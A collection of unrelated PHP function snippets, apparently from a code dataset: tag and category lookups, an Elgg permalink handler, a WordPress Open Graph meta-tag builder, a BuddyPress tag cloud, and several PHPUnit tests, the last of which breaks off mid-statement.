"public function postTag($slug) {\n // 'name' che è il nome per esteso del tag\n // 'slug' che è lo slug ricavato dal nome per esteso del tag\n // questa funzione riceve in ingresso lo slug ($slug) del tag\n // e deve ricavare l'elenco di tutti i posts che hanno quel tag associato\n // identificati dallo slug ricevuto come parametro in ingresso.\n // Poi la funzione richiama una view e le passa l'elenco di tutti i posts trovati\n // e l'oggetto categoria, quella identificata dallo slug ricevuto in ingresso\n\n // cerco nella colonna 'slug' della mia tabella 'tags', il tag (record) con slug uguale al parametro ricevuto\n $tag = Tag::where('slug', $slug)->first();\n\n // verifico se la select fatta sul DB mi ha ritornato qualcosa per il tag ricercato tramite slug\n // ad esempio l'utente potrebbe modificare la stringa nella barra indirizzi, alterando il nome\n // dello slug e scrivendo un qualcosa che non esiste e non corrisponde a nessun tag del DB\n if (!empty($tag)) {\n // qui sfrutto la relazione fra tags e posts, cioè la relazione fra le entità/modelli\n // Tag e Post. Nella classe Tag è definito un metodo posts()\n // (cioè col nome dell'entità verso la quale è definita la relazione)\n // posts() ritorna $this->hasMany('App\\Post');\n // chiamo la proprietà posts (in questa maniera'$tag->posts')\n // che restituisce i post che sono legati da relazione in base al tag\n $posts_by_tag = $tag->posts;\n\n // chiamo una view per visualizzare tutti i post del tag ricercato,\n // gli passo il tag e l'elenco dei posts\n return view('public.posts.posts-by-tag', [\n 'tag' => $tag,\n 'posts' => $posts_by_tag\n ]);\n } else {\n // ritorno la pagina di errore \"Page not found\" poichè lo slug ricevuto in ingresso\n // non ha corrispondenza nel mio DB (tabella 'tags')\n return abort(404);\n }\n }",
"public static function permalinkHandler($segments) {\n\n\t\t$viewtype = array_shift($segments);\n\t\t$referrer_hash = array_shift($segments);\n\t\tif (!preg_match('/^[a-f0-9]{32}$/i', $referrer_hash)) {\n\t\t\t// The hash was moved into URL query parameters\n\t\t\t$guid = $referrer_hash;\n\t\t\t$referrer_hash = get_input('uh');\n\t\t} else {\n\t\t\t$guid = array_shift($segments);\n\t\t\tset_input('uh', $referrer_hash);\n\t\t}\n\n\t\tswitch ($viewtype) {\n\t\t\tcase 'image' :\n\t\t\t\t// BC router\n\t\t\t\t$size = array_shift($segments);\n\t\t\t\t$ia = elgg_set_ignore_access(true);\n\t\t\t\t$entity = get_entity($guid);\n\t\t\t\t$url = $entity->getIconURL($size);\n\t\t\t\telgg_set_ignore_access($ia);\n\t\t\t\tforward($url);\n\t\t\t\treturn;\n\n\t\t\tdefault :\n\n\t\t\t\tswitch ($viewtype) {\n\t\t\t\t\tcase 'json+oembed' :\n\t\t\t\t\tcase 'json oembed' :\n\t\t\t\t\t\t$viewtype = 'json';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 'xml+oembed' :\n\t\t\t\t\tcase 'xml oembed' :\n\t\t\t\t\t\t$viewtype = 'xml';\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (!elgg_is_registered_viewtype($viewtype)) {\n\t\t\t\t\t$viewtype = 'default';\n\t\t\t\t}\n\n\t\t\t\telgg_set_viewtype($viewtype);\n\n\t\t\t\tif (!$guid || !elgg_entity_exists($guid)) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\t$ia = elgg_set_ignore_access();\n\t\t\t\t$entity = get_entity($guid);\n\n\t\t\t\tif (!has_access_to_entity($entity) && !is_discoverable($entity)) {\n\t\t\t\t\telgg_set_ignore_access($ia);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\telgg_register_plugin_hook_handler('head', 'page', function($hook, $type, $return) use ($entity) {\n\t\t\t\t\tif (isset($return['links']['canonical'])) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (elgg_is_active_plugin('hypeSeo')) {\n\t\t\t\t\t\t$svc = \\hypeJunction\\Seo\\RewriteService::getInstance();\n\t\t\t\t\t\t$data = $svc->getRewriteRulesFromGUID($entity->getURL());\n\t\t\t\t\t\tif (isset($data['sef_path'])) {\n\t\t\t\t\t\t\t$return['links']['canonical'] = [\n\t\t\t\t\t\t\t\t'href' => elgg_normalize_url($data['sef_path']),\n\t\t\t\t\t\t\t\t'rel' => 'canonical',\n\t\t\t\t\t\t\t];\n\t\t\t\t\t\t\treturn $return;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t$return['links']['canonical'] = [\n\t\t\t\t\t\t'href' => $entity->getURL(),\n\t\t\t\t\t\t'rel' => 'canonical',\n\t\t\t\t\t];\n\n\t\t\t\t\treturn $return;\n\t\t\t\t});\n\n\t\t\t\t$forward_url = false;\n\n\t\t\t\t$is_walled = elgg_get_config('walled_garden') && !elgg_is_logged_in();\n\t\t\t\tif (has_access_to_entity($entity) && $viewtype == 'default' && !$is_walled) {\n\t\t\t\t\t$forward_url = $entity->getURL();\n\t\t\t\t}\n\n\t\t\t\t$forward_url = elgg_trigger_plugin_hook('entity:referred', $entity->getType(), array(\n\t\t\t\t\t'entity' => $entity,\n\t\t\t\t\t'user_hash' => $referrer_hash,\n\t\t\t\t\t'referrer' => $_SERVER['HTTP_REFERER'],\n\t\t\t\t\t\t), $forward_url);\n\n\t\t\t\tif ($forward_url) {\n\t\t\t\t\telgg_set_ignore_access($ia);\n\t\t\t\t\tforward($forward_url);\n\t\t\t\t}\n\n\t\t\t\tif (elgg_get_plugin_setting('nocrawl', 'hypeDiscovery')) {\n\t\t\t\t\telgg_set_http_header('X-Robots-Tag: noindex', true);\n\n\t\t\t\t\telgg_register_plugin_hook_handler('head', 'page', function($hook, $type, $return) {\n\t\t\t\t\t\t$return['metas'][] = [\n\t\t\t\t\t\t\t'name' => 'robots',\n\t\t\t\t\t\t\t'content' => 'noindex',\n\t\t\t\t\t\t];\n\n\t\t\t\t\t\treturn $return;\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\techo elgg_view_resource('permalink', [\n\t\t\t\t\t'viewtype' => $viewtype,\n\t\t\t\t\t'user_hash' => $referrer_hash,\n\t\t\t\t\t'guid' => $guid,\n\t\t\t\t\t'entity' => $entity,\n\t\t\t\t]);\n\n\t\t\t\telgg_set_ignore_access($ia);\n\t\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}",
"function CopyUrlToTags( $f_iUrlId, $f_szTags = \"\" ) {\n\tif ( empty($f_szTags) ) {\n\t\texit('No tags, no copy!');\n\t}\n\n\tglobal $db;\n\n\t$arrTags = unaliasTags(explode(\" \", str_replace('/', ' ', str_replace('+', ' ', valid_tags($f_szTags)))));\n\t$iUrlId = (int)$f_iUrlId;\n\n\t$iAdded = 0;\n\tforeach ( $arrTags AS $szTag ) {\n\t\t// Add tag\n\t\t$iTagId = AddTag($szTag);\n\n\t\t// Insert relation\n\t\t$arrInsert = array(\n\t\t\t'url_id'\t=> $iUrlId,\n\t\t\t'tag_id'\t=> $iTagId,\n\t\t\t'utc_added'\t=> time(),\n\t\t);\n\t\ttry {\n\t\t\t$iAdded += (int)$db->insert('l_links', $arrInsert);\n\t\t}\n\t\tcatch ( db_exception $ex ) {}\n\t}\n\n\texit('OK' . $iAdded);\n\n}",
"function ver_categoria ( $uri ) {\n\tglobal $categorias;\n\t//ver si figura la variable cat en el url, en ese caso es categoria\n\t$cat = isset($_REQUEST['cat']) ? $_REQUEST['cat'] : 'none';\n\n\t$parseUrl = explode('/', $uri);\n\t$RequestURI = $parseUrl[1];\n\n\tfor ($i=0; $i < count($categorias); $i++) { \n\t\tif ( $categorias[$i]['slug'] == $RequestURI ) {\n\t\t$cat = $RequestURI;\n\t\tbreak;\n\t\t}\n\t}\n\n\treturn $cat;\n\n}",
"public function addTagToPostInTheMiddle() {}",
"function sw_open_graph_tags($info) {\n\t\t\t\n\t\t\t\t// We only modify the Open Graph tags on single blog post pages\n\t\t\t\tif(is_singular()):\n\t\t\t\t\t\n\t\t\t\t\t// If Yoast Open Graph is activated, we only output Open Graph tags if the user has filled out at least one field\n\t\t\t\t\t// Then we'll work along with Yoast to make sure all fields get filled properly\n\t\t\t\t\tif(defined('WPSEO_VERSION')):\n\t\t\t\t\t\tglobal $wpseo_og;\n\t\t\t\t\t\t$yoast_og_setting = has_action( 'wpseo_head', array( $wpseo_og, 'opengraph' ));\n\t\t\t\t\telse:\n\t\t\t\t\t\t$yoast_og_setting = false;\n\t\t\t\t\tendif;\n\t\t\t\t\t\t\n\t\t\t\t\tif(\n\t\t\t\t\t\t(isset($info['title']) && $info['title']) || \n\t\t\t\t\t\t(isset($info['description']) && $info['description']) || \n\t\t\t\t\t\t(isset($info['imageURL']) && $info['imageURL']) ||\n\t\t\t\t\t\t!$yoast_og_setting\n\t\t\t\t\t):\n\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* YOAST SEO: It rocks, so let's coordinate with it\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\n\t\t\t\t\t\t// Check if Yoast Exists so we can coordinate output with their plugin accordingly\n\t\t\t\t\t\tif (defined('WPSEO_VERSION')):\n\n\t\t\t\t\t\t\t// Collect their Social Descriptions as backups if they're not defined in ours\n\t\t\t\t\t\t\t$yoast_og_title \t\t= get_post_meta( $info['postID'] , '_yoast_wpseo_opengraph-title' , true );\n\t\t\t\t\t\t\t$yoast_og_description \t= get_post_meta( $info['postID'] , '_yoast_wpseo_opengraph-description' , true );\n\t\t\t\t\t\t\t$yoast_og_image \t\t= get_post_meta( $info['postID'] , '_yoast_wpseo_opengraph-image' , true );\n\n\t\t\t\t\t\t\t// Collect their SEO fields as 3rd string backups in case we need them\n\t\t\t\t\t\t\t$yoast_seo_title\t\t= get_post_meta( $info['postID'] , '_yoast_wpseo_title' , true );\n\t\t\t\t\t\t\t$yoast_seo_description\t= get_post_meta( $info['postID'] , '_yoast_wpseo_metadesc' , true );\n\n\t\t\t\t\t\t\t// Cancel their output if ours have been defined so we don't have two sets of tags\n\t\t\t\t\t\t\tglobal $wpseo_og;\n\t\t\t\t\t\t\tremove_action( 'wpseo_head', array( $wpseo_og, 'opengraph' ), 30 );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Fetch the WPSEO_SOCIAL Values\n\t\t\t\t\t\t\t$wpseo_social = get_option( 'wpseo_social' );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Add all our Open Graph Tags to the Return Header Output\n\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:type\" content=\"article\" /> ';\n\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* JETPACK: If ours are enabled, disable theirs\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ( class_exists( 'JetPack' ) ) :\n\t\t\t\t\t\t\tadd_filter( 'jetpack_enable_opengraph', '__return_false', 99 );\n\t\t\t\t\t\t\tadd_filter( 'jetpack_enable_open_graph', '__return_false', 99 );\n\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* OPEN GRAPH TITLE\t\t\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Open Graph Title: Create an open graph title meta tag\n\t\t\t\t\t\tif($info['title']):\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the user defined an social media title, let's use it.\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:title\" content=\"'.$info['title'].'\" />';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telseif(isset($yoast_og_title) && $yoast_og_title):\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the user defined an title over in Yoast, let's use it.\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:title\" content=\"'.$yoast_og_title.'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\telseif(isset($yoast_seo_title) && $yoast_seo_title):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the user defined an title over in Yoast, let's use it.\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:title\" content=\"'.$yoast_seo_title.'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If nothing else is defined, let's use the post title\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:title\" content=\"'.convert_smart_quotes(htmlspecialchars_decode(get_the_title())).'\" />';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* OPEN GRAPH DESCRIPTION\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Open Graph Description: Create an open graph description meta tag\n\t\t\t\t\t\tif($info['description']):\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the user defined an social media description, let's use it.\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:description\" content=\"'.$info['description'].'\" />';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telseif(isset($yoast_og_description) && $yoast_og_description):\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the user defined an description over in Yoast, let's use it.\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:description\" content=\"'.$yoast_og_description.'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\telseif(isset($yoast_seo_description) && $yoast_seo_description):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the user defined an description over in Yoast, let's use it.\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:description\" content=\"'.$yoast_seo_description.'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If nothing else is defined, let's use the post excerpt\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:description\" content=\"'.convert_smart_quotes(htmlspecialchars_decode(sw_get_excerpt_by_id($info['postID']))).'\" />';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* OPEN GRAPH IMAGE\t\t\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\n\t\t\t\t\t\t// Open Graph Image: Create an open graph image meta tag\n\t\t\t\t\t\tif($info['imageURL']):\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the user defined an image, let's use it.\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:image\" content=\"'.$info['imageURL'].'\" />';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telseif(isset($yoast_og_image) && $yoast_og_image):\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the user defined an image over in Yoast, let's use it.\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:image\" content=\"'.$yoast_og_image.'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If nothing else is defined, let's use the post Thumbnail as long as we have the URL cached\n\t\t\t\t\t\t\t$og_image = get_post_meta( $info['postID'] , 'sw_open_thumbnail_url' , true );\n\t\t\t\t\t\t\tif($og_image):\n\t\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:image\" content=\"'.$og_image.'\" />';\n\t\t\t\t\t\t\tendif;\n\n\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* OPEN GRAPH URL & Site Name\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\n\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:url\" content=\"'.get_permalink().'\" />';\n\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:site_name\" content=\"'.get_bloginfo('name').'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* OPEN GRAPH AUTHOR\t\t\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\n\t\t\t\t\t\t// Add the Facebook Author URL\n\t\t\t\t\t\tif( get_the_author_meta ( 'sw_fb_author' , sw_get_author($info['postID'])) ):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Output the Facebook Author URL\n\t\t\t\t\t\t\t$facebook_author = get_the_author_meta ( 'sw_fb_author' , sw_get_author($info['postID']));\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"article:author\" content=\"'.$facebook_author.'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\telseif( get_the_author_meta ( 'facebook' , sw_get_author($info['postID'])) && defined('WPSEO_VERSION')):\n\n\t\t\t\t\t\t\t// Output the Facebook Author URL\n\t\t\t\t\t\t\t$facebook_author = get_the_author_meta ( 'facebook' , sw_get_author($info['postID']));\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"article:author\" content=\"'.$facebook_author.'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* OPEN GRAPH PUBLISHER\t\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If they have a Facebook Publisher URL in our settings...\n\t\t\t\t\t\tif(isset($info['sw_user_options']['facebookPublisherUrl']) && $info['sw_user_options']['facebookPublisherUrl'] != ''):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Output the Publisher URL\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"article:publisher\" content=\"'.$info['sw_user_options']['facebookPublisherUrl'].'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If they have a Facebook Publisher URL in Yoast's settings...\n\t\t\t\t\t\telseif(isset($wpseo_social) && isset($wpseo_social['facebook_site']) && $wpseo_social['facebook_site'] != ''):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Output the Publisher URL\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"article:publisher\" content=\"'.$wpseo_social['facebook_site'].'\" />';\t\n\t\t\t\t\t\tendif;\n\t\t\t\t\t\t\n\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"article:published_time\" content=\"'.get_post_time('c').'\" />';\n\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"article:modified_time\" content=\"'.get_post_modified_time('c').'\" />';\n\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"og:updated_time\" content=\"'.get_post_modified_time('c').'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\t/*****************************************************************\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t* OPEN GRAPH APP ID\t\t\t\t\t\t\t\t\t *\n\t\t\t\t\t\t* *\n\t\t\t\t\t\t******************************************************************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If the Facebook APP ID is in our settings...\n\t\t\t\t\t\tif(isset($info['sw_user_options']['facebookAppID']) && $info['sw_user_options']['facebookAppID'] != ''):\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Output the Facebook APP ID\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"fb:app_id\" content=\"'.$info['sw_user_options']['facebookAppID'].'\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\t// If the Facebook APP ID is set in Yoast's settings...\n\t\t\t\t\t\telseif(isset($wpseo_social) && isset($wpseo_social['fbadminapp']) && $wpseo_social['fbadminapp'] != ''):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Output the Facebook APP ID\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"fb:app_id\" content=\"'.$wpseo_social['fbadminapp'].'\" />';\t\n\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Output the Facebook APP ID\n\t\t\t\t\t\t\t$info['header_output'] .= PHP_EOL .'<meta property=\"fb:app_id\" content=\"529576650555031\" />';\n\t\t\t\t\t\t\n\t\t\t\t\t\tendif;\n\n\t\t\t\t\tendif;\n\t\t\t\tendif;\n\t\t\t\t\n\t\t\t\t// Return the variable containing our information for the meta tags\n\t\t\t\treturn $info;\n\t\t\t\t\n\t\t\t}",
"function gtags_make_tags( $urlencode=false, $exclude_tags='', $include_tags='' ) {\n\tglobal $bp, $wpdb;\n\tglobal $pageProjets;\n\t\n\t$all_group_tags = $wpdb->get_col( \"SELECT meta_value FROM \" . $bp->groups->table_name_groupmeta . \" WHERE meta_key = 'gtags_group_tags'\" );\n\n\t//count the occurances\t\n\t$all_tags = array();\t\n\n\tforeach( $all_group_tags as $group_tags ) {\n\t\t$items = explode( ',', $group_tags );\n\t\t\n\t\tforeach( $items as $item ) {\n\t\t\t$item = trim( strtolower( $item ) );\n\t\t\t\n\t\t\tif ( $item=='' ) \n\t\t\t\tcontinue;\n\n\t\t\tif ( isset( $all_tags[ $item ] ) ) { \n\t\t\t\t$all_tags[ $item ] += 1;\n\t\t\t} else { \n\t\t\t\t$all_tags[ $item ] = 1; \n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n\t\n\tif ( !$exclude_tags && !$include_tags ) { // get the defaults if nothing is set by the widget\n\t\t$exclude_tags = get_option( 'gtags_exclude' );\n\t\t$include_tags = get_option( 'gtags_include' );\n\t}\n\t\t\n\tif ( $exclude_tags ) { // exclude takes precidence\n\t\t$exclude_tags = explode( ',', $exclude_tags );\n\t\tforeach( (array)$exclude_tags as $exclude ) {\n\t\t\tunset( $all_tags[ trim( $exclude ) ] );\n\t\t}\t\n\t} elseif ( $include_tags ) {\n\t\t$include_tags = explode( ',', $include_tags );\n\t\tforeach( (array)$include_tags as $include ) {\n\t\t\t$include = trim( $include );\n\t\t\tif ($all_tags[ $include ])\n\t\t\t\t$include_array[ $include ] = $all_tags[ $include ];\n\t\t}\n\t\t$all_tags = $include_array;\t\n\t}\n\t\n\t$tags = array();\n\tforeach( (array)$all_tags as $tag => $count ) {\n\t\t$tag = stripcslashes( $tag );\n\t\t$link = $bp->root_domain . '/' . $pageProjets . '/tag/' . urlencode( $tag ) ;\n\t\t$tags[ $tag ] = (object)array( 'name' => $tag, 'count' => $count, 'link' => $link );\n\t}\n\n\treturn $tags;\n}",
"public function testIsTagged(): void\n {\n $models = TestModel::isTagged()->get();\n $keys = $models->modelKeys();\n\n self::assertArrayValuesAreEqual(\n [\n $this->testModel2->getKey(),\n $this->testModel3->getKey(),\n $this->testModel4->getKey(),\n $this->testModel5->getKey(),\n $this->testModel6->getKey(),\n $this->testModel7->getKey(),\n $this->testModel8->getKey(),\n ],\n $keys\n );\n }",
"function URLSegment() {\n\t\treturn $this->getForumHolder()->URLSegment;\n\t}",
"public function testUrlArray(): void\n {\n $expected = [\n 'controller' => 'Bookmarks',\n 'action' => 'view',\n 'plugin' => false,\n 'prefix' => false,\n ];\n $this->assertSame($expected, urlArray('Bookmarks::view'));\n\n $expected = [\n 'controller' => 'Bookmarks',\n 'action' => 'view',\n 'prefix' => 'Admin',\n 'plugin' => false,\n ];\n $this->assertSame($expected, urlArray('Admin/Bookmarks::view'));\n\n $expected = [\n 'controller' => 'Articles',\n 'action' => 'view',\n 'plugin' => 'Vendor/Cms',\n 'prefix' => 'Management/Admin',\n 3,\n '?' => ['query' => 'string'],\n ];\n $params = [3, '?' => ['query' => 'string']];\n $this->assertSame($expected, urlArray('Vendor/Cms.Management/Admin/Articles::view', $params));\n }",
"public function test_getReplenishmentProcessTags() {\n\n }",
"private function verificaShortUrl() {\n FormataLink::verificaMiniUrl(\"fwk_link_encurtado\");\n }",
"public function testGetOrderTags()\n {\n }",
"public function provideTestLinks() {\n\t\t$extraPages = [\n\t\t\t'Elephant Page' => 'Content'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, lower case page title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, fragment, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[Elephant Page#Fragment]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[Elephant Page|Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, page name with underscores link text',\n\t\t\t'Test Page',\n\t\t\t'[[Elephant Page|Elephant_Page]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant_Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, lowercase page name, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[elephant Page|Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, lowercase page name, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[elephant Page|elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[Elephant Page|elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[Elephant Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page without display title, lowercase page name, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[elephant Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\t// link to redirect to content page without display title\n\t\t$extraPages = [\n\t\t\t'Elephant Page' => 'Content',\n\t\t\t'Redirect To Elephant Page' => '#REDIRECT [[Elephant Page]]'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, lower case page title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[redirect To Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'redirect To Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, fragment, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Elephant Page#Fragment]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Elephant Page|Redirect To Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, page name with underscores link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Elephant Page|Redirect_To_Elephant_Page]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, lowercase page name, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[redirect To Elephant Page|Redirect To Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, lowercase page name, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[redirect To Elephant Page|redirect To Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'redirect To Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Elephant Page|redirect To Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'redirect To Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Elephant Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page without display title, lowercase page name, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[redirect To Elephant Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\t// link to user page without display title\n\t\t$extraPages = 